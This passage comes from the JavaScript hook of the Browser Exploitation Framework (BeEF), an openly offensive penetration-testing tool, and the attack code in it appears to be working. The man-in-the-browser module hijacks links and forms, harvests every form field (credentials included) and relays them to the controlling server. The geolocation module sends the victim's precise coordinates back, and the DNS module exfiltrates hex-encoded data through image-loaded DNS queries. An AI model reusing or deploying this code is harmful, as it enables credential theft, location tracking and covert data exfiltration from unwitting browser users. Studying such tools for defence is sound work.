  8707.                         if (method == "GET") {
  8708.                             //GET request -> cross-origin
  8709.                             if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
  8710.                                 beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
  8711.                                 window.open(url);
  8712.                             }else { //GET request -> same-origin
  8713.                                 beef.mitb.sniff("GET [Ajax Request]: " + url);
  8714.                                 if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  8715.                                     var title = "";
  8716.                                     if (document.getElementsByTagName("title").length == 0) {
  8717.                                         title = document.title;
  8718.                                     } else {
  8719.                                         title = document.getElementsByTagName("title")[0].innerHTML;
  8720.                                     }
  8721.                                     // write the url of the page
  8722.                                     history.pushState({ Be:"EF" }, title, url);
  8723.                                 }
  8724.                             }
  8725.                         }else{
  8726.                             //POST request
  8727.                             beef.mitb.sniff("POST ajax request to: " + url);
  8728.                             open.call(this, method, url, async, true);
  8729.                         }
  8730.                     }
  8731.                 };
  8732.             })(XMLHttpRequest.prototype.open);
  8733.         }
  8734.     },
  8735.  
  8736.     // Initializes the hook on anchors and forms.
  8737.     hook:function () {
  8738.         beef.onpopstate.push(function (event) {
  8739.             beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  8740.         });
  8741.         beef.onclose.push(function (event) {
  8742.             beef.mitb.endSession();
  8743.         });
  8744.  
  8745.         var anchors = document.getElementsByTagName("a");
  8746.         var forms = document.getElementsByTagName("form");
  8747.         var lis = document.getElementsByTagName("li");
  8748.  
  8749.         for (var i = 0; i < anchors.length; i++) {
  8750.             anchors[i].onclick = beef.mitb.poisonAnchor;
  8751.         }
  8752.         for (var i = 0; i < forms.length; i++) {
  8753.             beef.mitb.poisonForm(forms[i]);
  8754.         }
  8755.  
  8756.         for (var i = 0; i < lis.length; i++) {
  8757.             if (lis[i].hasAttribute("onclick")) {
  8758.                 lis[i].removeAttribute("onclick");
  8759.                 /*clear*/
  8760.                 lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  8761.                 /*override*/
  8762.  
  8763.             }
  8764.         }
  8765.     },
  8766.  
  8767.     // Hooks anchors and prevents them from linking away
  8768.     poisonAnchor:function (e) {
  8769.         try {
  8770.             e.preventDefault;
  8771.             if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  8772.                 var title = "";
  8773.                 if (document.getElementsByTagName("title").length == 0) {
  8774.                     title = document.title;
  8775.                 } else {
  8776.                     title = document.getElementsByTagName("title")[0].innerHTML;
  8777.                 }
  8778.                 history.pushState({ Be:"EF" }, title, e.currentTarget);
  8779.             }
  8780.         } catch (e) {
  8781.             beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  8782.         }
  8783.         return false;
  8784.     },
  8785.  
  8786.     // Hooks forms and prevents them from linking away
  8787.     poisonForm:function (form) {
  8788.         form.onsubmit = function (e) {
  8789.  
  8790.             // Collect <input> tags.
  8791.             var inputs = form.getElementsByTagName("input");
  8792.             var query = "";
  8793.             for (var i = 0; i < inputs.length; i++) {
  8794.                 switch (inputs[i].type) {
  8795.                     case "submit":
  8796.                         break;
  8797.                     default:
  8798.                         query += inputs[i].name + "=" + inputs[i].value + '&';
  8799.                         break;
  8800.                 }
  8801.             }
  8802.  
  8803.             // Collect selected options from the form.
  8804.             var selects = form.getElementsByTagName("select");
  8805.             for (var i = 0; i < selects.length; i++) {
  8806.                 var select = selects[i];
  8807.                 query += select.name + "=" + select.options[select.selectedIndex].value + '&';
  8808.             }
  8809.  
  8810.             // We should be gathering 'submit' inputs as well, as there are
  8811.             // applications demanding this parameter.
  8812.             var submit = $j('*[type="submit"]', form);
  8813.             if(submit.length) {
  8814.                 // Append name of the submit button/input.
  8815.                 query += submit.attr('name') + '=' + submit.attr('value');
  8816.             }
  8817.  
  8818.             if(query.slice(-1) == '&') {
  8819.                 query = query.slice(0, -1);
  8820.             }
  8821.  
  8822.             e.preventdefault;
  8823.             beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  8824.             history.pushState({ Be:"EF" }, "", form.action);
  8825.             return false;
  8826.         }
  8827.     },
  8828.  
  8829.     // Fetches a hooked form with AJAX
  8830.     fetchForm:function (url, query, target) {
  8831.         try {
  8832.             var y = new XMLHttpRequest();
  8833.             y.open('POST', url, false, true);
  8834.             y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8835.             y.onreadystatechange = function () {
  8836.                 if (y.readyState == 4 && y.responseText != "") {
  8837.                     target.innerHTML = y.responseText;
  8838.                     setTimeout(beef.mitb.hook, 10);
  8839.                 }
  8840.             };
  8841.             y.send(query);
  8842.             beef.mitb.sniff("POST: " + url + "[" + query + "]");
  8843.             return true;
  8844.         } catch (x) {
  8845.             return false;
  8846.         }
  8847.     },
  8848.  
  8849.     // Fetches a hooked link with AJAX
  8850.     fetch:function (url, target) {
  8851.         try {
  8852.             var y = new XMLHttpRequest();
  8853.             y.open('GET', url, false, true);
  8854.             y.onreadystatechange = function () {
  8855.                 if (y.readyState == 4 && y.responseText != "") {
  8856.                     target.innerHTML = y.responseText;
  8857.                     setTimeout(beef.mitb.hook, 10);
  8858.                 }
  8859.             };
  8860.             y.send(null);
  8861.             beef.mitb.sniff("GET: " + url);
  8862.             return true;
  8863.         } catch (x) {
  8864.             window.open(url);
  8865.             beef.mitb.sniff("GET [New Window]: " + url);
  8866.             return false;
  8867.         }
  8868.     },
  8869.  
  8870.     // Fetches a window.location=http://domainname.com and setting up history
  8871.     fetchOnclick:function (url) {
  8872.         try {
  8873.             var target = document.getElementsByTagName("html")[0];
  8874.             var y = new XMLHttpRequest();
  8875.             y.open('GET', url, false, true);
  8876.             y.onreadystatechange = function () {
  8877.                 if (y.readyState == 4 && y.responseText != "") {
  8878.                     var title = "";
  8879.                     if (document.getElementsByTagName("title").length == 0) {
  8880.                         title = document.title;
  8881.                     }
  8882.                     else {
  8883.                         title = document.getElementsByTagName("title")[0].innerHTML;
  8884.                         }
  8885.                     history.pushState({ Be:"EF" }, title, url);
  8886.                     target.innerHTML = y.responseText;
  8887.                     setTimeout(beef.mitb.hook, 10);
  8888.                 }
  8889.             };
  8890.             y.send(null);
  8891.             beef.mitb.sniff("GET: " + url);
  8892.  
  8893.         } catch (x) {
  8894.             // the link is cross-origin, so load the resource in a different tab
  8895.             window.open(url);
  8896.             beef.mitb.sniff("GET [New Window]: " + url);
  8897.         }
  8898.     },
  8899.  
  8900.     // Relays an entry to the framework
  8901.     sniff:function (result) {
  8902.         try {
  8903.             beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  8904.         } catch (x) {
  8905.         }
  8906.         return true;
  8907.     },
  8908.  
  8909.     // Signals the Framework that the user has lost the hook
  8910.     endSession:function () {
  8911.         beef.mitb.sniff("Window closed.");
  8912.     }
  8913. };
  8914.  
  8915. beef.regCmp('beef.mitb');
  8916.  
  8917.  
  8918. //
  8919. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  8920. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  8921. // See the file 'doc/COPYING' for copying permission
  8922. //
  8923.  
  8924. /*!
  8925.  * @literal object: beef.geolocation
  8926.  *
  8927.  * Provides functionalities to use the geolocation API.
  8928.  */
  8929. beef.geolocation = {
  8930.  
  8931.     /**
  8932.      * check if browser supports the geolocation API
  8933.      */
  8934.     isGeolocationEnabled: function(){
  8935.         return !!navigator.geolocation;
  8936.     },
  8937.  
  8938.     /*
  8939.      * given latitude/longitude retrieves exact street position of the zombie
  8940.      */
  8941.     getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
  8942.  
  8943.         // fixes damned issues with jquery 1.5, like this one:
  8944.         // http://bugs.jquery.com/ticket/8084
  8945.         $j.ajaxSetup({
  8946.             jsonp: null,
  8947.             jsonpCallback: null
  8948.         });
  8949.  
  8950.         $j.ajax({
  8951.             error: function(xhr, status, error){
  8952.                 beef.debug("[geolocation.js] openstreetmap error");
  8953.                 beef.net.send(command_url, command_id, "latitude=" + latitude
  8954.                              + "&longitude=" + longitude
  8955.                              + "&osm=UNAVAILABLE"
  8956.                              + "&geoLocEnabled=True");
  8957.                 },
  8958.             success: function(data, status, xhr){
  8959.                 beef.debug("[geolocation.js] openstreetmap success");
  8960.                 var jsonResp = $j.parseJSON(data);
  8961.  
  8962.                 beef.net.send(command_url, command_id, "latitude=" + latitude
  8963.                              + "&longitude=" + longitude
  8964. //                             + "&osm=" + encodeURI(jsonResp.display_name)
  8965.                               + "&osm=tofix"
  8966.                              + "&geoLocEnabled=True");
  8967.                 },
  8968.             type: "get",
  8969.             url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
  8970.                 latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
  8971.         });
  8972.  
  8973.     },
  8974.  
  8975.     /*
  8976.      * retrieve latitude/longitude using the geolocation API
  8977.      */
  8978.     getGeolocation: function (command_url, command_id){
  8979.  
  8980.         if (!navigator.geolocation) {
  8981.             beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");  
  8982.             return;
  8983.         }
  8984.         beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
  8985.         navigator.geolocation.getCurrentPosition( //note: this is an async call
  8986.             function(position){ // success
  8987.                 var latitude = position.coords.latitude;
  8988.                 var longitude = position.coords.longitude;
  8989.                 beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
  8990.                 beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
  8991.  
  8992.             }, function(error){ // failure
  8993.                     beef.debug("[geolocation.js] error [%d] getting position", error.code);
  8994.                     switch(error.code) // Returns 0-3
  8995.                     {
  8996.                         case 0:
  8997.                             beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  8998.                             return;
  8999.                         case 1:
  9000.                             beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
  9001.                             return;
  9002.                         case 2:
  9003.                             beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
  9004.                             return;
  9005.                         case 3:
  9006.                             beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
  9007.                             return;
  9008.                     }
  9009.                 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9010.             },
  9011.             {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
  9012.         );
  9013.     }
  9014. }
  9015.  
  9016.  
  9017. beef.regCmp('beef.geolocation');
  9018.  
  9019.  
  9020. //
  9021. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9022. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9023. // See the file 'doc/COPYING' for copying permission
  9024. //
  9025.  
  9026. /*!
  9027.  * @literal object: beef.net.dns
  9028.  *
  9029.  * request object structure:
  9030.  * + msgId: {Integer} Unique message ID for the request.
  9031.  * + domain: {String} Remote domain to retrieve the data.
  9032.  * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  9033.  * + callback: {Function} Callback function to receive the number of requests sent.
  9034.  */
  9035.  
  9036. beef.net.dns = {
  9037.  
  9038.     handler: "dns",
  9039.  
  9040.     send: function(msgId, data, domain, callback) {
  9041.  
  9042.         var encode_data = function(str) {
  9043.             var result="";
  9044.             for(i=0;i<str.length;++i) {
  9045.                 result+=str.charCodeAt(i).toString(16).toUpperCase();
  9046.             }
  9047.             return result;
  9048.         };
  9049.  
  9050.         var encodedData = encodeURI(encode_data(data));
  9051.  
  9052.         beef.debug(encodedData);
  9053.         beef.debug("_encodedData_ length: " + encodedData.length);
  9054.  
  9055.         // limitations to DNS according to RFC 1035:
  9056.         // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  9057.         // o Domain names are limited to 255 characters in length (including dots)
  9058.         // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  9059.         // o Subdomains are limited to 63 characters in length (including the trailing dot)
  9060.  
  9061.         // DNS request structure:
  9062.         // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  9063.       //max_length: 3.   3   .   3   . 63 . x
  9064.  
  9065.         // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
  9066.         // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
  9067.         var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  9068.         var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  9069.         var max_data_segment_length = 63; // by RFC
  9070.  
  9071.         beef.debug("max_data_segment_length: " + max_data_segment_length);
  9072.  
  9073.         var dom = document.createElement('b');
  9074.  
  9075.         String.prototype.chunk = function(n) {
  9076.             if (typeof n=='undefined') n=100;
  9077.             return this.match(RegExp('.{1,'+n+'}','g'));
  9078.         };
  9079.  
  9080.         var sendQuery = function(query) {
  9081.             var img = new Image;
  9082.             //img.src = "http://"+query;
  9083.             img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  9084.             img.onload = function() { dom.removeChild(this); }
  9085.             img.onerror = function() { dom.removeChild(this); }
  9086.             dom.appendChild(img);
  9087.  
  9088.             //experimental
  9089.             //setTimeout(function(){dom.removeChild(img)},1000);
  9090.         };
  9091.  
  9092.         var segments = encodedData.chunk(max_data_segment_length);
  9093.  
  9094.         var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
  9095.  
  9096.         beef.debug(segments.length);
  9097.  
  9098.         for (var seq=1; seq<=segments.length; seq++) {
  9099.             sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  9100.         }
  9101.  
  9102.         // callback - returns the number of queries sent
  9103.         if (!!callback) callback(segments.length);
  9104.  
  9105.     }
  9106.  
  9107. };
  9108.  
  9109. beef.regCmp('beef.net.dns');
  9110.  
  9111.  
  9112.  
  9113. //
  9114. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  9115. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9116. // See the file 'doc/COPYING' for copying permission
  9117. //
  9118.  
  9119. // beef.net.connection - wraps Mozilla's Network Information API
  9120. // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  9121. // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  9122. beef.net.connection = {
  9123.  
  9124.   /* Returns the connection type
  9125.    * @example: beef.net.connection.type()
  9126.    * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  9127.    * @return: {String} connection type or 'unknown'.
  9128.    **/
  9129.   type: function () {
  9130.     try {
  9131.       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  9132.       var type = connection.type;
  9133.       if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  9134.     } catch(e) {
  9135.       beef.debug("Error retrieving connection type: " + e.message);
  9136.       return 'unknown';
  9137.     }
  9138.   },
  9139.  
  9140.   /* Returns the maximum downlink speed of the connection
  9141.    * @example: beef.net.connection.downlinkMax()
  9142.    * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  9143.    * @return: {String} downlink max or 'unknown'.
  9144.    **/
  9145.   downlinkMax: function () {
  9146.     try {
  9147.       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  9148.       var max = connection.downlinkMax;
  9149.       if (max) return max; else return 'unknown';
  9150.     } catch(e) {
  9151.       beef.debug("Error retrieving connection downlink max: " + e.message);
  9152.       return 'unknown';
  9153.     }
  9154.   }
  9155.  
  9156. };
  9157.  
  9158. beef.regCmp('beef.net.connection');
  9159.  
  9160.  
  9161.  
  9162. beef.net.cors = {
  9163.  
  9164.   handler: "cors",
  9165.  
  9166.     /**
  9167.      * Response Object - used in the beef.net.request callback
  9168.      */
  9169.     response:function () {
  9170.         this.status  = null;      // 500, 404, 200, 302, etc
  9171. <